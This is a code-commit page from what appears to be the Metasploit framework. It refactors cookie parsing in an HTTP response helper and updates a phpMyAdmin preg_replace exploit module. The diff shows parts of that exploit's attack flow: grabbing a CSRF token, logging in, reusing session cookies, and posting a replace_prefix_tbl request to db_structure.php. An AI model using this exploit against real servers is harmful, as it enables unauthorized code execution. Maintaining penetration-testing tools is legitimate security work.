Skip to content

Commit 1f2cab7

Browse files
committed
Tidyup and getcookies
1 parent 0901d00 commit 1f2cab7

File tree

2 files changed

+18
-31
lines changed

2 files changed

+18
-31
lines changed

lib/rex/proto/http/response.rb

Lines changed: 15 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -59,18 +59,22 @@ def initialize(code = 200, message = 'OK', proto = DefaultProtocol)
5959
end
6060

6161
#
62-
# Returns a cookie value from the Set-Cookie header
63-
#
64-
def get_cookie(cookie)
65-
unless self.headers.include? 'Set-Cookie'
66-
return nil
67-
end
68-
value = $1 if self.headers['Set-Cookie'] =~ /#{cookie}=(.*?); /i
69-
if value
70-
return "#{cookie}=#{value};"
71-
else
72-
return nil
62+
# Gets cookies from the Set-Cookie header in a format to be used
63+
# in the 'cookie' send_request field
64+
#
65+
def get_cookies
66+
cookies = ""
67+
if (self.headers.include?('Set-Cookie'))
68+
set_cookies = self.headers['Set-Cookie']
69+
key_vals = set_cookies.scan(/\s?([^, ;]+?)=(.*?);/)
70+
key_vals.each do |k, v|
71+
next if k == 'path'
72+
next if k == 'expires'
73+
cookies << "#{k}=#{v}; "
74+
end
7375
end
76+
77+
return cookies.strip
7478
end
7579

7680
#

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Lines changed: 3 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -39,10 +39,6 @@ def initialize(info = {})
3939
{
4040
'BadChars' => "&\n=+%",
4141
},
42-
'DefaultOptions' =>
43-
{
44-
'InitialAutoRunScript' => 'migrate -f'
45-
},
4642
'Targets' =>
4743
[
4844
[ 'Automatic', { } ],
@@ -93,15 +89,6 @@ def check
9389
end
9490

9591
def exploit
96-
cookie_names = [
97-
'phpMyAdmin',
98-
'pma_mcrypt_iv',
99-
'pmaUser-1',
100-
'pmaPass-1',
101-
'pma_lang',
102-
'pma_collation_connection'
103-
]
104-
10592
print_status("Grabbing CSRF token")
10693
response = send_request_cgi({ 'uri' => uri})
10794
if response.nil?
@@ -135,16 +122,12 @@ def exploit
135122

136123
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
137124

138-
cookie = ""
139-
cookie_names.each do |name|
140-
c = login.get_cookie(name)
141-
cookie << c << " " unless c.nil?
142-
end
125+
cookies = login.get_cookies
143126

144127
login_check = send_request_cgi({
145128
'uri' => uri('index.php'),
146129
'vars_get' => { 'token' => token },
147-
'cookie' => cookie
130+
'cookie' => cookies
148131
})
149132

150133
if login_check.body =~ /Welcome to/
@@ -158,7 +141,7 @@ def exploit
158141
exploit_result = send_request_cgi({
159142
'uri' => uri('db_structure.php'),
160143
'method' => 'POST',
161-
'cookie' => cookie,
144+
'cookie' => cookies,
162145
'vars_post' => {
163146
'query_type' => 'replace_prefix_tbl',
164147
'db' => db,

0 commit comments

Comments
 (0)